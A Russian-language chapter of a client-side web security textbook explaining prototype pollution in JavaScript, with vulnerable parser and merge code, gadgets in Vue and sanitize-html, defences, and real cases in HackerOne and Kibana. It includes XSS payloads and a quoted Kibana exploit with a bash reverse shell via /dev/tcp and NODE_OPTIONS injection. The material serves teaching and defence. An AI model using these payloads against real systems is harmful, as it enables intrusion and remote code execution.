Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Prototype Chain
  • Изменение свойств Prototype по умолчанию
  • Что может быть сделано после загрязнения свойства?
  • Как происходит загрязнение прототипа?
  • Prototype pollution script gadgets
  • Промежуточные выводы
  • Как защититься от этого
  • Реальные примеры
  • Invisible Frontend Gadgets
  • Заключение
  1. Глава 3 - Атаки без JavaScript

Prototype Pollution - Эксплуатация цепочки прототипов

PreviousКто сказал, что для атаки обязательно выполнять JavaScript?NextМожет ли HTML влиять на JavaScript - Введение в DOM clobbering

Last updated 8 months ago

Возможно, вы уже слышали о цепочке прототипов, даже если вы не используете ее непосредственно в своей работе.

Но знали ли вы, что цепочку prototype можно также использовать как средство атаки?

Хоть она и не может непосредственно выполнять JavaScript, она может косвенно влиять на множество потоков выполнения. Объединяя существующий код, можно создать серьезные уязвимости.

Давайте вместе взглянем на эту уникальную уязвимость!

Prototype Chain

Объектно-ориентированное программирование в JavaScript отличается от других языков программирования. Синтаксис class, был введен в ES6. До этого для этой же цели использовался prototype, также известный как прототипное наследование.

Рассмотрим пример. Вы когда-нибудь задавались вопросом, откуда берутся встроенные функции, когда вы их используете?

var str = "a";var str2 = str.repeat(5); // Where does the repeat function come from?

Вы даже можете заметить, что метод repeat двух разных строк - это на самом деле одна и та же функция:

var str = "a";var str2 = "b";console.log(str.repeat === str2.repeat); // true

Или, если вы когда-либо проверяли MDN, вы бы обнаружили, что этот заголовок не repeat, а String.prototype.repeat:

И все это связано с прототипами.

Когда вы вызываете str.repeat, на самом деле в экземпляре str нет метода под названием repeat. Так как же работает движок JavaScript за кулисами?

Вы помните понятие области действия? Если я использую переменную и она не найдена в локальной области действия, движок JavaScript будет искать в следующей внешней области действия и так далее, пока не дойдет до глобальной области действия. Это называется цепочкой областей действия. JavaScript движок следует этой цепочке, чтобы продолжать поиск вверх, пока не дойдет до вершины.

Концепция цепочки прототипов точно такая же, но разница в том: "Как JavaScript движок знает, где искать дальше?" Если JavaScript движок не может найти функцию repeat в str, где ему нужно искать?

В JavaScript есть скрытое свойство __proto__, которое хранит значение того, где следует искать JavaScript движок.

Например:

var str = "";console.log(str.__proto__); // String.prototype

То, на что указывает str.__proto__, - это "следующий уровень", где JavaScript должен искать, когда он не может что-то найти в str. И следующий уровень будет String.prototype.

Это объясняет, почему MDN не пишет repeat, а String.prototype.repeat, потому что это полное имя функции repeat. Эта функция repeat на самом деле существует как метод в объекте String.prototype.

Поэтому, когда вы вызываете str.repeat, вы на самом деле вызываете String.prototype.repeat, и это принцип и операция цепочки прототипов.

То же самое применимо к вещам, отличным от строк, например, объектов:

var obj = {};console.log(obj.a); // undefinedconsole.log(obj.toString); // ƒ toString() { [native code] }

Хотя obj - это пустой объект, почему существует obj.toString? Это потому, что когда JavaScript движок не может найти это в obj, он смотрит в obj.__proto__, и obj.__proto__ указывает на Object.prototype. Поэтому obj.toString в конечном итоге находит Object.prototype.toString.

var obj = {};console.log(obj.toString === Object.prototype.toString); // true

Изменение свойств Prototype по умолчанию

__proto__ строки - это String.prototype, __proto__ числа - это Number.prototype, и __proto__ массива - это Array.prototype. Эти связи уже предопределены для того, чтобы эти типы могли использовать одни и те же функции.

Если у каждой строки была бы своя функция repeat, то было бы миллион разных функций repeat для миллиона строк, хотя все они делают одно и то же. Звучит не очень разумно, правда? Поэтому, используя прототип, мы можем разместить repeat в String.prototype, чтобы каждая строка, которая использует эту функцию, обращалась в одну и ту же функцию.

Вы можете задаться вопросом, как функция может различать разные строки, когда они вызываются с одной и той же функцией и параметрами.

Ответ - this. Давайте взглянем на пример:

String.prototype.first = function () {  return this[0];};console.log("".first()); // undefinedconsole.log("abc".first()); // a

Сначала я добавил метод под названием first в String.prototype. Так что когда я вызываю "".first, движок JavaScript смотрит в String.prototype через __proto__ и обнаруживает, что существует String.prototype.first, поэтому он вызывает эту функцию.

Из-за правил this, когда написано "".first(), this внутри first будет "". Если вызывать "abc".first(), this внутри first будет "abc". Поэтому мы можем использовать this для различия кто вызывает функцию.

Более того, поскольку String.prototype может быть изменен, естественно, что Object.prototype также может быть изменен, например, так:

Object.prototype.a = 123;var obj = {};console.log(obj.a); // 123

Так как был изменён Object.prototype, при доступе к obj.a движок JavaScript не может найти свойство a в obj, поэтому он обращается к obj.__proto__, который является Object.prototype, и находит там a, возвращая его значение.

Когда у программы есть уязвимость, которая позволяет злоумышленникам изменять свойства в цепочке прототипов, это называется "загрязнением прототипа". В приведённом выше примере мы "загрязнили" свойство a в прототипе объекта с помощью Object.prototype.a = 123, что может привести к неожиданному поведению при доступе к объектам.

Так, что же за последствия наступают от такого загрязнения?

Что может быть сделано после загрязнения свойства?

Представьте, что на веб-сайте есть функция поиска, которая извлекает значение q из строки запроса и отображает его на экране, например:

Код для этой функциональности написан следующим образом:

// get query string
var qs = new URLSearchParams(location.search.slice(1));

// put it on the screen and use innerText to avoid XSS
document.body.appendChild(
    createElement({
        tag: "h2",
        innerText: `Search result for ${qs.get("q")}`,
    })
);

function createElement(config) {
    const element = document.createElement(config.tag);
    if (config.innerHTML) {
        element.innerHTML = config.innerHTML;
    } else {
        element.innerText = config.innerText;
    }
    return element;
}

Вроде бы, код выше вполне нормальный, верно? Мы написали функцию createElement, чтобы упростить некоторые шаги и сгенерировать компоненты на основе предоставленной конфигурации. Чтобы предотвратить XSS, мы использовали innerText вместо innerHTML, так что не должно быть риска XSS!

Похоже, что всё правильно, но что, если до выполнения этого кода была уязвимость загрязнения прототипа, которая позволяла злоумышленнику загрязнять свойства в прототипе? Например, вот так:

// Assumed we can do prototype pollution
Object.prototype.innerHTML = "<img src=x onerror=alert(1)>";

// Below is the same as before
var qs = new URLSearchParams(location.search.slice(1));

document.body.appendChild(
    createElement({
        tag: "h2",
        innerText: `Search result for ${qs.get("q")}`,
    })
);

function createElement(config) {
    const element = document.createElement(config.tag);
    // if(config.innerHTML) will be true because of the polluted innerHTML
    if (config.innerHTML) {
        element.innerHTML = config.innerHTML;
    } else {
        element.innerText = config.innerText;
    }
    return element;
}

Единственное отличие в коде выше - это добавление Object.prototype.innerHTML = '<img src=x onerror=alert(1)>' в начале. Только из-за того, что эта строка загрязнила innerHTML, условие if (config.innerHTML) { оценивается как истинное, изменяя поведение. Исходно использовался innerText, но теперь он был изменён на innerHTML, в результате чего произошла XSS-атака!

Это XSS-атака, вызванная загрязнением прототипа. В общем, загрязнение прототипа относится к уязвимостям в программе, которые позволяют злоумышленникам загрязнять свойства в цепочке прототипов. Однако, помимо загрязнения, злоумышленник должен найти место, где это может оказать импакт, чтобы провести полноценную атаку.

На этом моменте у вас может возникнуть вопрос, какой код может иметь такую уязвимость, позволяя злоумышленникам изменять свойства в цепочке прототипов.

Как происходит загрязнение прототипа?

Есть два общих сценария, где возникает подобная проблема. Первым является разбор строки запроса.

Возможно, вы думаете, что строка запроса типа ?a=1&b=2 это просто. Но на самом деле, многие библиотеки для работы со строками запросов поддерживают массивы, такие как ?a=1&a=2 или ?a[]=1&a[]=2, которые можно разобрать как массивы.

Помимо массивов, некоторые библиотеки даже поддерживают объекты, вот так: ?a[b][c]=1, что дает в итоге объект {a: {b: {c: 1}}}.

Если бы вы были ответственны за реализацию этой функциональности, как бы вы это написали? Мы можем начать со схематичной версии, которая обрабатывает только объекты (не учитывая кодировку URL или массивы):

function parseQs(qs) {
    let result = {};
    let arr = qs.split("&");

    for (let item of arr) {
        let [key, value] = item.split("=");

        if (!key.endsWith("]")) {
            // for a normal key-value pair
            result[key] = value;
            continue;
        }

        // for object
        let items = key.split("[");
        let obj = result;

        for (let i = 0; i < items.length; i++) {
            let objKey = items[i].replace(/]$/g, "");

            if (i === items.length - 1) {
                obj[objKey] = value;
            } else {
                if (typeof obj[objKey] !== "object") {
                    obj[objKey] = {};
                }
                obj = obj[objKey];
            }
        }
    }

    return result;
}

var qs = parseQs("test=1&a[b][c]=2");
console.log(qs); // { test: '1', a: { b: { c: '2' } } }

В основном, она создает объект на основе содержимого внутри [] и присваивает значения слой за слоем. Кажется простым.

Но подождите! Если моя строка запроса выглядит так, то все меняется:

var qs = parseQs("__proto__[a]=3");console.log(qs); // {}var obj = {};console.log(obj.a); // 3

Когда строка запроса выглядит так, parseQs изменяет значение obj.__proto__.a, вызывая загрязнение прототипа. В результате, когда я позже объявляю пустой объект и напишу obj.a, он выводит 3, потому что прототип объекта был загрязнен.

Многие библиотеки для разбора строк запросов сталкивались с подобными проблемами. Вот несколько примеров:

Помимо разбора строк запроса, другой общий сценарий, где возникает эта проблема, - это объединение объектов. Простая функция объединения объектов выглядит так:

function merge(a, b) {
    for (let prop in b) {
        if (typeof a[prop] === "object" && a[prop] !== null) {
            merge(a[prop], b[prop]);
        } else {
            a[prop] = b[prop];
        }
    }
}

var config = {
    a: 1,
    b: {
        c: 2,
    },
};

var customConfig = {
    b: {
        d: 3,
    },
};

merge(config, customConfig);
console.log(config); // { a: 1, b: { c: 2, d: 3 } }

Если вышеуказанный customConfig подконтролен, могут возникнуть проблемы:

var config = {
    a: 1,
    b: {
        c: 2,
    },
};

var customConfig = JSON.parse('{"__proto__": {"a": 1}}');

merge(config, customConfig);

var obj = {};
console.log(obj.a); // undefined

Здесь мы используем JSON.parse, потому что прямое написание:

var customConfig = {  __proto__: {    a: 1,  },};

Не сработает; customConfig будет только пустым объектом. Чтобы создать объект с ключом __proto__, нам нужно использовать JSON.parse:

var obj1 = {
    __proto__: {
        a: 1,
    },
};

var obj2 = JSON.parse('{"__proto__": {"a": 1}}');

console.log(obj1); // {}
console.log(obj2); // { __proto__: { a: 1 } }

Аналогично, у многих библиотек, связанных с объединением, была эта уязвимость. Вот несколько примеров:

Помимо этого, почти любая библиотека, которая работает с объектами, сталкивалась с подобными проблемами, например:

Вопрос, повставленный мною в конце предыдущей статьи, также является уязвимой областью:

onmessage = function (event) {
    const { x, y, color } = event.data;
    // for example, screen[10][5] = 'red'
    screen[y][x] = color;
};

Злоумышленник может передать {y: '__proto__', x: 'test', color: '123'}, что приведет к screen.__proto__.test = '123', загрязняя Object.prototype.test. Поэтому для значений, передаваемых пользователями, важно проводить проверку.

Теперь, когда мы знаем, где могут возникнуть проблемы с загрязнением прототипа, недостаточно просто загрязнить свойства в прототипе. Нам нужно идентифицировать области, которые могут быть затронуты, то есть места, где после загрязнения свойств изменяется поведение. Это позволяет нам выполнить атаки.

Prototype pollution script gadgets

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <script src="https://unpkg.com/vue@2.7.14/dist/vue.js"></script>
</head>
<body>
    <div id="app">{{ message }}</div>
    <script>
        // pollute template
        Object.prototype.template = "<svg onload=alert(1)></svg>";
        var app = new Vue({
            el: "#app",
            data: {
                message: "Hello Vue!",
            },
        });
    </script>
</body>
</html>

Кажущийся безвредным код Vue hello world, но после загрязнения Object.prototype.template он становится уязвимостью XSS, позволяющей нам внедрять произвольный код.

Или вот так:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js"></script>
</head>
<body>
    <script>
        Object.prototype.innerText = "<svg onload=alert(1)></svg>";
        document.write(sanitizeHtml("<div>hello</div>"));
    </script>
</body>
</html>

Это библиотека, предназначенная для санитизации вводимых данных, но после загрязнения Object.prototype.innerText она становится полезным инструментом для атак XSS.

Почему происходят эти проблемы? Возьмём за пример sanitize-html, это происходит из-за этого участка кода:

if (frame.innerText && !hasText && !options.textFilter) {  result += frame.innerText;}

Поскольку innerText по умолчанию считается безопасной строкой, он прямо конкатенируется. И когда мы загрязняем это свойство, если свойство не существует, будет использовано значение из прототипа, что приводит к XSS.

Кроме уязвимостей на стороне клиента, есть похожие риски на стороне сервера, например:

const child_process = require("child_process");
const params = ["123"];
const result = child_process.spawnSync("echo", params);
console.log(result.stdout.toString()); // 123

Это простой участок кода, который выполняет команду echo и передает параметр. Этот параметр обрабатывается автоматически, поэтому нет необходимости беспокоиться о внедрении команд:

const child_process = require("child_process");
const params = ["123 && ls"];
const result = child_process.spawnSync("echo", params);
console.log(result.stdout.toString()); // 123 && ls

Однако, если есть уязвимость загрязнения прототипа, она может преобразоваться в RCE (Удаленное выполнение кода), позволяя злоумышленникам исполнять произвольные команды (предполагая, что злоумышленник может контролировать параметры):

const child_process = require("child_process");
const params = ["123 && ls"];
Object.prototype.shell = true; // I only add this line
const result = child_process.spawnSync("echo", params, { timeout: 1000 });
console.log(result.stdout.toString());
/* 
123
index.js
node_modules
package-lock.json
package.json
*/

> If the shell option is enabled, do not pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.

Сочетая загрязнение прототипа с гаджетами (child_process.spawn), создается критическая уязвимость.

Промежуточные выводы

Если в программе есть функциональность, позволяющая злоумышленникам загрязнять свойства в прототипе, эту уязвимость называют загрязнением прототипа. Prototype Pollution сам по себе не очень полезен и нуждается в сочетании с другими векторами, чтобы быть эффективным, и например код, который можно с ним объединить, называется гаджетами.

Например, внутренняя реализация Vue рендерит что-то на основе свойства template объекта, поэтому, загрязнив Object.prototype.template, мы можем создать уязвимость XSS. Или, в случае с child_process.spawn, она использует shell, так что после его загрязнения он превращается в уязвимость RCE.

Исправление на самом деле не касается гаджетов, которые могут быть использованы, если вы измените каждое место, где происходит доступ к значениям объектов, это не будет являтся фундаментальным решением. Настоящее решение - предотвратить загрязнение прототипа и гарантировать, что прототип не загрязнен, тем самым устраняя эти проблемы.

Как защититься от этого

Есть несколько общих способов защиты. Первый - это блокирование ключа __proto__ при выполнении операций над объектами. Например, ранее упомянутый разбор строк запроса и объединение объектов могут использовать этот подход.

Однако, помимо __proto__, нужно отметить также другой метод обхода, например, такой:

var obj = {};
obj["constructor"]["prototype"]["a"] = 1;

var obj2 = {};
console.log(obj2.a); // 1

Использование constructor.prototype также может загрязнить свойства в цепочке прототипов, поэтому все эти методы нужно блокировать вместе, чтобы обеспечить безопасность.

Второй метод прост и понятен, это избежание использования объектов, или точнее, "избежание использования объектов с прототипами".

Кто-то, возможно, видел способ создания объектов, такой как Object.create(null). Это позволяет создать пустой объект без свойства __proto__, действительно пустой объект без методов. Именно из-за этого уязвимости загрязнения прототипа не возникает:

var obj = Object.create(null);
obj["__proto__"]["a"] = 1; // TypeError: Cannot set property 'a' of undefined

> .parse(string, options?) Parse a query string into an object. Leading ? or # are ignored, so you can pass location.search or location.hash directly. > > The returned object is created with Object.create(null) and thus does not have a prototype.

Еще одно предложение - использовать Map вместо {}, но я думаю, что большинство людей все еще привыкли использовать объекты. Object.create(null) немного более удобен, чем Map.

Альтернативой может быть использование Object.freeze(Object.prototype) для замораживания прототипа, предотвращая модификации:

Object.freeze(Object.prototype);

var obj = {};
obj["__proto__"]["a"] = 1; // This line will not work due to frozen prototype

var obj2 = {};
console.log(obj2.a); // undefined

Однако одной из проблем с Object.freeze(Object.prototype) является то, что если пакет сторонних разработчиков модифицирует Object.prototype, например, прямо добавляет к нему свойство для удобства, то отладка будет сложной, потому что модификация после заморозки не вызовет ошибки, она просто не будет успешной.

Итак, вы можете обнаружить, что приложение ломается из-за пакета сторонних разработчиков, но вы не знаете почему. Еще один потенциальный риск, о котором я могу подумать, - это полифилы. Если в будущем из-за проблем с версией необходимо добавить полифил в Object.prototype, он будет недействителен из-за freeze.

Реальные примеры

Наконец, давайте посмотрим на два реальных примера загрязнения прототипа, чтобы вы лучше понимали данную уязвимость.

На веб-сайте используется пакет сторонних разработчиков, и внутри этого пакета есть часть кода, которая выглядит так:

i._initializers.initWLog = function() {
    var e, t, n, o, a, l, s, d, u, p, c;

    if (t = i.url.parse(location.href), 
        document.referrer && (u = i.url.parse(document.referrer)), 
        // продолжение кода...
    )

Он анализирует location.href и document.referrer, где первый контролируется злоумышленником. Функция i.url.parse имеет уязвимость загрязнения прототипа, позволяющую произвольное загрязнение свойства.

После загрязнения автор обнаружил еще одну часть кода, которая похожа на ранее написанный нами createElement. fromObject обходит свойства и помещает их в DOM:

if (this.chrome = r.elem.fromObject({
    id: r.seqId('wistia_chrome_'),
    class: 'w-chrome',
    style: r.generate.relativeBlockCss(),
    tabindex: -1
}))

Загрязняя innerHTML, можно создать уязвимость XSS с использованием этого гаджета. Реальная атака включает в себя создание URL, который вызывает загрязнение прототипа + XSS. Отправив URL кому-то и убедив его открыть его, он будет подвержен атаке.

> An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

В Kibana есть функция под названием Timelion, которая позволяет пользователям вводить синтаксис и визуализировать его в виде диаграмм. Следующий синтаксис можно использовать для загрязнения прототипа:

.es.props(label.__proto__.x='ABC')

Загрязнение прототипа - это только первый шаг. Следующий шаг - найти гаджет. Один из фрагментов кода в Kibana выглядит так:

var env = options.env || process.env;
var envPairs = [];

for (var key in env) {
    const value = env[key];
    if (value !== undefined) {
        envPairs.push(`${key}=${value}`);
    }
}

Этот фрагмент извлекает переменные среды, которые используются для запуска нового процесса Node. Например, если envPairs равно a=1, он будет выполнять команду a=1 node xxx.js.

Поскольку он запускает Node.js, мы можем скрытно ввести файл с помощью переменной среды NODE_OPTIONS:

// a.js
console.log('a.js');

// b.js
console.log('b.js');

// includes a.js via environment variables
// NODE_OPTIONS="--require ./a.js" node b.js

// 輸出
// a.js
// b.js

Следовательно, если мы можем загрузить JavaScript-файл, мы можем выполнить этот файл в сочетании с загрязнением прототипа. Звучит сложно, есть ли другой способ?

Если мы создадим переменную окружения с именем A=console.log(123)//, содержимое /proc/self/environ станет:

A = console.log(123); // YARN_VERSION=1.1 PWD=/user LANG=en_US.UTF-8 ...

Это становится рабочим кодом JavaScript! Мы можем его выполнить с помощью этого метода:

 NODE_OPTIONS="--require /proc/self/environ" A='console.log(1)//' node b.js

Предоставленная автором полезная нагрузка:

 .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/ip/port 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='require /proc/self/environ')

Загрязнены два разных свойства, созданы две переменные среды, одна делает /proc/self/environ рабочим JavaScript и включает код для выполнения, а другая NODE_OPTIONS импортирует /proc/self/environ через --require, что в итоге приводит к уязвимости RCE, позволяющей произвольное выполнение кода!

Invisible Frontend Gadgets

На самом деле не только существующий код и сторонние библиотеки, но даже некоторые Web API в браузерах могут подвергнуться влиянию загрязнения прототипа.

Как обычно, наиболее полезно предоставить примеры:

fetch("https://example.com", {  mode: "cors",});

Это простая часть кода, которая отправляет GET-запрос, но если есть уязвимость загрязнения прототипа:

Object.prototype.body = "a=1";
Object.prototype.method = "POST";

fetch("https://example.com", {
    mode: "cors",
});

Она превращается в POST-запрос!

Это означает, что даже эти Web API могут подвергаться воздействию загрязнения прототипа, расширяя область воздействия.

В конце концов, подобные гаджеты всегда будут существовать, и цепочка прототипов - одна из характеристик JavaScript. Ее сложно обрабатывать специально и намеренно игнорировать вещи в цепочке прототипов при доступе к свойствам. Поэтому реальное решение - начинать с источника и предотвращать загрязнение цепочки прототипов.

Заключение

Как я упоминал ранее, не все методы атаки включают прямое выполнение JavaScript. Например, уязвимость Prototype Pollution на первый взгляд может показаться не такой уж и значительной - просто добавление свойства к Object.prototype. Ну и что с того?

Однако, как только это сочетается с другим кодом, оно может нарушить существующий поток выполнения и предположения о безопасности, превращая, казалось бы, безобидный код в уязвимый код, который может привести к уязвимостям XSS или даже RCE.

Когда я впервые столкнулся с этой уязвимостью, у меня возникло ощущение "совершенно нового мира". Концепция прототипов, которая всем знакома в разработке фронтенда, стала общей техникой атаки в области безопасности. Как я об этом раньше не знал? И это не только загрязнение прототипа; существует множество других уязвимостей, которые вызывают такое же чувство.

Способ записи String.prototype.first непосредственно изменяет прототип строки, добавляя новый метод, который может использоваться всеми строками. Хотя это удобно, этот подход не рекомендуется в разработке. Есть поговорка: . Например, MooTools сделал что-то подобное, что привело к изменению имени метода массива. Тут вы можете найти больше подробностей:

Например, библиотека

1. 2. 3.

1. 2. 3.

1. 2. 3.

Эти "фрагменты кода, которые могут быть использованы, если мы загрязняем прототип" называются скриптовыми гаджетами. Существует репозиторий GitHub, посвященный сбору этих гаджетов n. Некоторые из этих гаджетов могут быть непонятными. Давайте я продемонстрирую:

Причина этого заключается в том, что третий параметр options метода child_process.spawn имеет параметр вызова shell, который, когда задан как true, вызывает другое поведение. Официальная также заявляет:

На любой странице уязвимости загрязнения прототипа на есть рекомендации по защите. Вы также можете обратиться к этой статье:

Например, загрязнение прототипа в исправлено с использованием этого подхода. Обработка проводится, когда появляется __proto__ или prototype.

Например, в ранее упомянутой библиотеке разбора строк запросов, которую загружают миллионы раз в неделю, , использует этот подход для защиты. говорит:

Что касается Node.js, вы можете использовать опцию --disable-proto, чтобы отключить Object.prototype.__proto__. Для получения дополнительной информации обратитесь к .

В альтернативе, в будущем можно использовать document policy чтобы управлять этим. Вы можете узнать об этом тут: .

Первый пример - это уязвимость, на известной платформе hackerone в 2020 году (да, это уязвимость самой платформы багбаунти). Полный отчет можно найти здесь: via Wistia embed code

Другой случай - это уязвимость в Kibana, сообщенная Michał Bentkowski. Оригинальная статья может быть найдена здесь: . Официальное описание этой уязвимости таково:

Да! Существует общепринятый метод, при котором содержимое определенных файлов контролируется. Например, в PHP содержимое файла сессии может быть контролируемым. Вы можете обратиться к этой статье: . Другой пример - файл /proc/self/environ в системах Linux, который содержит все переменные среды текущего процесса.

Если вас интересуют гаджеты Node.js, вы можете обратиться к этой отличной статье: .

Этот вопрос обсуждался в ошибке Chromium: . Это поведение на самом деле соответствует спецификации и не требует особой обработки.

Для получения дополнительной информации вы можете обратиться к и .

Некоторые люди даже автоматизируют обнаружение уязвимостей загрязнения прототипа и определяют проблемные области, поднимая загрязнение прототипа на новый уровень: . Помимо результатов исследования, также стоит обратить внимание на исследовательские команды за ним. Их можно считать звездами безопасности на фронтенде.

Don't modify objects you don't own
Don’t break the Web: A case study on SmooshGate and keygen
qs
jquery-deparam
backbone-query-parameters
jquery-query-object
merge
lodash.merge
plain-object-merge
immer
mootools
ioredis
Client-Side Prototype Pollutio
документация
snyk
Prototype pollution attack in NodeJS application
lodash.merge
query-string
Документация
официальной документации
Feature proposal: Mitigation for Client-Side Prototype Pollution
#986386 Reflected XSS on
www.hackerone.com
Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609)
Exploiting RCE by Introducing PHP Session File via LFI
Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js
Issue 1306450: Security: Sanitizer API bypass via prototype pollution
Widespread prototype pollution gadgets
Prototype pollution bug in Chromium bypassed Sanitizer API
A tale of making internet pollution free - Exploiting Client-Side Prototype Pollution in the wild